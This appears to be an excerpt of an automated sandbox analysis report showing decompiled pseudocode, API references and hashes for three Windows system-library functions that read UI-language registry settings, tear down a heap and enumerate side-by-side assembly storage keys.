				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6A91F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6A959600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6A9595D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6A91F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6A959600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6A91F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6A91F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6a8f6cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6A9595D0();
				}
				return _t109;
				goto L29;
			}

0x6a9ccf82
0x6a9ccf8c
0x6a9ccf91
0x6a9ccf96
0x6a9ccf9a
0x6a9ccf9e
0x6a9ccfa7
0x6a9ccfab
0x6a9ccfb9
0x6a9ccfe1
0x6a9ccfea
0x6a9ccff4
0x6a9ccff5
0x6a9ccffd
0x6a9ccffe
0x6a9cd007
0x6a9cd00b
0x6a9cd00c
0x6a9cd010
0x6a9cd018
0x6a9cd01c
0x6a9cd025
0x6a9cd029
0x6a9cd05d
0x6a9cd063
0x00000000
0x6a9cd069
0x6a9cd069
0x6a9cd06d
0x6a9cd07b
0x6a9cd080
0x6a9cd085
0x6a9cd089
0x00000000
0x6a9cd089
0x6a9cd02b
0x6a9cd035
0x6a9cd03a
0x6a9cd03b
0x6a9cd053
0x6a9cd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9cd057
0x6a9ccfbb
0x6a9ccfc1
0x6a9ccfca
0x6a9ccfd2
0x6a9cd08d
0x6a9cd091
0x6a9cd095
0x6a9cd09d
0x6a9cd09e
0x6a9cd0a7
0x6a9cd0af
0x6a9cd0b0
0x6a9cd0b4
0x6a9cd0bd
0x6a9cd0c1
0x6a9cd0cd
0x6a9cd0d2
0x6a9cd0d3
0x6a9cd0eb
0x6a9cd0ed
0x6a9cd0f4
0x6a9cd0f6
0x6a9cd0fc
0x6a9cd104
0x6a9cd18d
0x6a9cd10a
0x6a9cd10b
0x6a9cd110
0x6a9cd11b
0x6a9cd120
0x6a9cd15e
0x6a9cd179
0x6a9cd17d
0x00000000
0x6a9cd17f
0x6a9cd184
0x00000000
0x6a9cd186
0x6a9cd186
0x00000000
0x6a9cd186
0x6a9cd184
0x00000000
0x6a9cd122
0x6a9cd122
0x6a9cd127
0x6a9cd127
0x6a9cd127
0x6a9cd129
0x6a9cd129
0x6a9cd112
0x6a9cd115
0x6a9cd117
0x6a9cd117
0x6a9cd110
0x6a9cd104
0x6a9cd0fc
0x6a9cd0f4
0x6a9cd0c1
0x6a9ccfb9
0x6a9cd12b
0x6a9cd131
0x6a9cd136
0x6a9cd139
0x6a9cd139
0x6a9cd13f
0x6a9cd13f
0x6a9cd148
0x6a9cd14a
0x6a9cd14e
0x6a9cd14e
0x6a9cd15b
0x00000000

APIs

Part of subcall function 6A91F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6A9CCFA7,?,?,?), ref: 6A91F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6A9CCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6A9CD0CD
ZwClose.1105(?,?,?,?), ref: 6A9CD139
ZwClose.1105(00000000,?,?,?), ref: 6A9CD14E

Strings

MachinePreferredUILanguages, xrefs: 6A9CD02B
@, xrefs: 6A9CD0A7
PreferredUILanguages, xrefs: 6A9CD0C3
Control Panel\Desktop, xrefs: 6A9CCFBB
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6A9CD072
Control Panel\Desktop\MuiCached, xrefs: 6A9CCFDB
@, xrefs: 6A9CD010

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: dbb4b675e6fd693be7f700c1e3ee75c02add5db66a755b6f0a3580ae16838eec
Instruction ID: 00015e150f098f1ed41de2ad6f067a835152feeff4db926aa3fb82a2bd9ea80b
Opcode Fuzzy Hash: dbb4b675e6fd693be7f700c1e3ee75c02add5db66a755b6f0a3580ae16838eec
Instruction Fuzzy Hash: DF5160B1848706AFC311CF15C8C495BB7E8BF89358F510A2EF995A7211EB30DA09CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6A912FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A912FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6aa0d360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6aa08748 - 2;
					if( *0x6aa08748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6A91B150();
						__eflags =  *0x6aa07bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6A9D2073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6A95B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6A9BCB1E(_t138, _t159, 0, 8, 0);
					}
					E6A9131B0(_t125, _t159, _t155);
					E6A9D274F(_t159);
					_t155 = 1;
					E6A941249(_t159, 1, 0, 0);
					E6A9DB581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6aa05718; // 0x0
					 *0x6aa0b1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6A9BCB1E(_t144, _t159, 0, 8, 0);
				}
				E6A9131B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6A9D3518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6A941249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6A94174B( &_v96,  &_v100, 0x8000);
							_t88 = E6A937D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6A9CFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6A94174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6A94174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6A913138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6A937D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6A937D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6A959AE0();
								}
							}
							_t104 = E6A937D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6A937D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6A959AE0();
							}
							if(E6A937D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6A9CFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6a912fb8
0x6a912fc2
0x6a912fc6
0x6a912fc9
0x6a912fce
0x6a96fb7d
0x6a96fb84
0x6a96fb8a
0x6a96fb90
0x6a96fb94
0x6a96fbb3
0x6a96fbb8
0x6a96fb96
0x6a96fbab
0x6a96fbb0
0x6a96fbbe
0x6a96fbc3
0x6a96fbc8
0x6a96fbd0
0x6a96fbd8
0x6a96fbd9
0x6a96fbd9
0x6a96fbd0
0x6a9130ea
0x6a9130ea
0x6a9130ec
0x6a9130f0
0x6a9130f1
0x6a9130f2
0x6a9130fd
0x6a9130fd
0x6a912fdb
0x6a96fbe3
0x6a96fbea
0x6a96fbed
0x6a91312b
0x6a91312b
0x00000000
0x6a91312b
0x6a96fbf3
0x6a96fbf8
0x6a96fbfa
0x6a96fc00
0x6a96fc02
0x6a96fc02
0x6a96fc09
0x6a96fc10
0x6a96fc1b
0x6a96fc1c
0x6a96fc23
0x00000000
0x6a96fc23
0x6a912fe8
0x6a96fc2d
0x6a96fc36
0x6a96fc3c
0x00000000
0x6a96fc3c
0x6a912fee
0x6a912ff5
0x6a96fc47
0x6a96fc49
0x6a96fc49
0x6a912ffd
0x6a913009
0x6a96fc53
0x6a96fc5a
0x00000000
0x00000000
0x6a96fc62
0x6a96fc67
0x6a96fc69
0x00000000
0x00000000
0x00000000
0x6a91300f
0x6a91300f
0x6a913018
0x00000000
0x6a91301e
0x6a913024
0x6a913025
0x6a91302a
0x6a913030
0x6a913032
0x6a96fc74
0x6a96fc76
0x6a96fc7a
0x6a96fc81
0x6a96fc8f
0x6a96fc93
0x6a96fc98
0x6a96fc9d
0x6a96fc9f
0x6a96fcb1
0x6a96fca1
0x6a96fcaa
0x6a96fcaa
0x6a96fcb6
0x6a96fcb9
0x6a96fcbf
0x6a96fcc5
0x6a96fcc5
0x6a96fcca
0x6a96fcca
0x6a913041
0x6a913100
0x6a913047
0x6a913047
0x6a913047
0x6a91304b
0x6a91310b
0x6a91310f
0x6a91311c
0x6a913121
0x6a913121
0x6a913051
0x6a913059
0x6a96fcde
0x6a96fce3
0x6a96fce5
0x6a96fcea
0x6a96fcea
0x6a913063
0x6a913075
0x6a913075
0x00000000
0x6a91307b
0x6a913081
0x6a913086
0x6a91308d
0x00000000
0x6a91308f
0x6a91308f
0x6a913094
0x6a9130a0
0x6a96fcfa
0x6a9130a6
0x6a9130a6
0x6a9130a6
0x6a9130ab
0x6a96fd01
0x6a96fd07
0x6a96fd0e
0x6a96fd14
0x6a96fd19
0x6a96fd1b
0x6a96fd26
0x6a96fd26
0x6a96fd26
0x6a96fd2f
0x6a96fd38
0x6a96fd39
0x6a96fd3b
0x6a96fd43
0x6a96fd44
0x6a96fd48
0x6a96fd48
0x6a96fd0e
0x6a9130b1
0x6a9130b6
0x6a9130c2
0x6a96fd5b
0x6a9130c8
0x6a9130c8
0x6a9130c8
0x6a9130cd
0x6a96fd62
0x6a96fd67
0x6a96fd69
0x6a96fd74
0x6a96fd74
0x6a96fd74
0x6a96fd7d
0x6a96fd86
0x6a96fd87
0x6a96fd89
0x6a96fd91
0x6a96fd92
0x6a96fd96
0x6a96fd96
0x6a9130da
0x6a96fda9
0x6a9130e0
0x6a9130e0
0x6a9130e0
0x6a9130e8
0x6a913131
0x6a913131
0x00000000
0x6a9130e8
0x6a91308d
0x6a913018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6A913070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6A91308F
RtlGetCurrentServiceSessionId.1105 ref: 6A9130B1
RtlGetCurrentServiceSessionId.1105 ref: 6A9130D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A96FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6A96FBC3
RtlDebugPrintTimes.1105(?), ref: 6A96FC36

Part of subcall function 6A9131B0: RtlAcquireSRWLockExclusive.1105(6AA08660,?,00000000,6A96FC0E), ref: 6A9131BC
Part of subcall function 6A9131B0: RtlReleaseSRWLockExclusive.1105(6AA08660,6AA08660,?,00000000,6A96FC0E), ref: 6A9131CF

Strings

HEAP: , xrefs: 6A96FBB3
HEAP[%wZ]: , xrefs: 6A96FBA6
(HeapHandle != NULL), xrefs: 6A96FBBE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: 1f21950008d7b15d0e5d880cd5e6dc9397e18c3ebe07b0e786e0e4d80c3570d6
Instruction ID: 035af295ae336e961f2e3052f05b20075b13a8d89fca9a1a537d898e4c3da5ac
Opcode Fuzzy Hash: 1f21950008d7b15d0e5d880cd5e6dc9397e18c3ebe07b0e786e0e4d80c3570d6
Instruction Fuzzy Hash: 9691F231308654AFE765CB38C898B2BB7F9BF45748F214469E9508B282DF34EC45C792

Uniqueness

Uniqueness Score: -1.00%

Function 6A94CCC0, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 218
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A94CCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				int _v596;
				signed int _v600;
				void* _v608;
				void* _v612;
				signed int _v616;
				intOrPtr _v620;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t107;
				void* _t110;
				void* _t111;
				void* _t117;
				int _t121;
				signed int* _t124;
				void* _t125;
				signed int _t129;
				signed int _t131;

				_t131 = (_t129 & 0xfffffff8) - 0x25c;
				_v8 =  *0x6aa0d360 ^ _t131;
				_t103 = _a8;
				_t124 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x6a8f13a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = E6A959600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t103 + 0x18) =  *(_t103 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t103 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = E6A9A5720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x6a8f13a8);
						 *((char*)(_t103 + 0x1c)) = 1;
						L36:
						_t131 = _t131 + 0x14;
						if(_t124 == 0) {
							L9:
							_pop(_t117);
							_pop(_t125);
							_pop(_t104);
							return E6A95B640(_t80, _t104, _v8 ^ _t131, _t113, _t117, _t125);
						}
						_t80 = _v608;
						L38:
						 *_t124 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t103 != _t80) {
						_push( *_t103);
						_t80 = E6A9595D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t103 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
						_t107 =  *_t103;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t107;
						_v584 = 0;
						_v596 = _t80;
						if(_t107 == 0) {
							L30:
							 *((char*)(_t103 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t113 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t107);
						_t80 = E6A959820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t103 + 8)) = 1;
								if(_t124 != 0) {
									 *_t124 = 0xc0000106;
								}
								goto L9;
							}
							_t113 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E6A9A4A28(_v608,  &_v592, _t103 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = E6A9A5720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t103 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = E6A9A5720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t131 = _t131 + 0x14;
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					RtlInitUnicodeString( &_v608, E6A92AAB0());
					_t113 = _v616 & 0x0000ffff;
					 *(_t103 + 0xc) = 0;
					_t27 = _t113 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t103 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 != 0) {
							 *_t124 = 0xc0000023;
						}
						goto L9;
					}
					memcpy( *(_t103 + 0x10), _v612, _t113);
					_t131 = _t131 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v616 + 0x10;
					L8:
					 *(_t103 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t121 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t121;
				_t9 = _t121 + 0x10; // 0x6a926177
				_t110 = _t9;
				if(_t110 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t103 + 0xe) & 0x0000ffff;
				if(_t110 > ( *(_t103 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t111 =  *( *( *[fs:0x30] + 0x10) + 0x3c);
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t111 = _t111 +  *( *[fs:0x30] + 0x10);
				}
				memcpy( *(_t103 + 0x10), _t111, _t121);
				_t131 = _t131 + 0xc;
				_t113 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t103 + 0xc) = _v596 + 0xe;
				if(E6A94D268( *(_t103 + 0x10), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x6a94ccc8
0x6a94ccd5
0x6a94cce0
0x6a94cce4
0x6a94cce8
0x6a94cceb
0x6a94ce12
0x6a94ce1a
0x6a94ce1d
0x6a94ce25
0x6a94ce2b
0x6a94ce2f
0x6a94ce30
0x6a94ce34
0x6a94ce3c
0x6a94ce40
0x6a94ce44
0x6a94ce49
0x6a94ce4f
0x6a94ce5c
0x6a94ce60
0x6a94ce64
0x6a98ad96
0x6a98ad96
0x6a98ada4
0x6a98ada9
0x6a98adad
0x6a98adad
0x6a98adb2
0x6a94cd88
0x6a94cd8f
0x6a94cd90
0x6a94cd91
0x6a94cd9c
0x6a94cd9c
0x6a98adb8
0x6a98adbc
0x6a98adbc
0x6a98adbc
0x00000000
0x6a94ce4f
0x6a94ccf1
0x6a94ccf4
0x6a94cda0
0x6a94cda3
0x6a98ac7c
0x6a98ac7e
0x6a98ac7e
0x00000000
0x6a94cda3
0x6a94ccfa
0x6a94ccff
0x6a94cdb1
0x6a98acc4
0x6a98acc8
0x6a98accb
0x6a98accf
0x6a98acd3
0x6a98acd9
0x6a98ad2b
0x6a98ad2b
0x00000000
0x6a98ad2b
0x6a98acdf
0x6a98ace0
0x6a98ace5
0x6a98ace9
0x6a98acea
0x6a98aceb
0x6a98acec
0x6a98aced
0x6a98acf2
0x6a98acf8
0x6a98ad34
0x6a98ad3d
0x6a98ac88
0x6a98ac88
0x6a98ac8e
0x6a98ac94
0x6a98ac94
0x00000000
0x6a98ac8e
0x6a98ad47
0x6a98ad4b
0x6a98ad50
0x6a98ad59
0x6a98ad61
0x6a98ad66
0x6a98ad6c
0x00000000
0x00000000
0x6a98ad72
0x6a98ad80
0x6a98ad85
0x00000000
0x6a98ad85
0x6a98acff
0x00000000
0x00000000
0x6a98ad01
0x6a98ad0e
0x6a98ad13
0x6a98ad16
0x6a98ad1c
0x00000000
0x00000000
0x6a98ad22
0x00000000
0x6a98ad22
0x6a94cdc2
0x6a94cdc7
0x6a94cdd2
0x6a94cdd6
0x6a94cdd6
0x6a94cddb
0x6a98ac9f
0x6a98ac9f
0x6a98aca5
0x6a98acab
0x6a98acab
0x00000000
0x6a98aca5
0x6a94cde9
0x6a94cdfb
0x6a94cdfe
0x6a94cdff
0x6a94ce00
0x6a94ce01
0x6a94ce06
0x6a94cd84
0x6a94cd84
0x00000000
0x6a94cd84
0x6a94cd0b
0x6a94cd0e
0x6a94cd12
0x6a94cd16
0x6a94cd16
0x6a94cd1f
0x00000000
0x00000000
0x6a94cd25
0x6a94cd2b
0x00000000
0x00000000
0x6a94cd3a
0x6a94cd4a
0x6a98acbc
0x6a98acbc
0x6a94cd56
0x6a94cd66
0x6a94cd6c
0x6a94cd6e
0x6a94cd6f
0x6a94cd70
0x6a94cd71
0x6a94cd75
0x6a94cd80
0x00000000
0x6a94cd82
0x6a94cd82
0x00000000
0x6a94cd82

APIs

memcpy.1105(6A8F4F84,?,6A926167,00000040,?,?), ref: 6A94CD56

Part of subcall function 6A94D268: RtlInitUnicodeStringEx.1105(?,00000000,00000000,?,?,6A994718,00000030,?,00000000,?,6A97F5F2,?,00000024,00000000,?), ref: 6A94D278

RtlGetNtSystemRoot.1105(00000040,?,?), ref: 6A94CDB7
RtlInitUnicodeString.1105(00000000,00000000,00000040,?,?), ref: 6A94CDC2
memcpy.1105(6A8F4F84,00000000,00000040,00000000,00000000,00000040,?,?), ref: 6A94CDE9
ZwOpenKey.1105(?,00000008,?,?,?,?), ref: 6A94CE44
ZwClose.1105(?,00000040,?,?), ref: 6A98AC7E

Strings

SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 6A98AD9C
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 6A98AD78
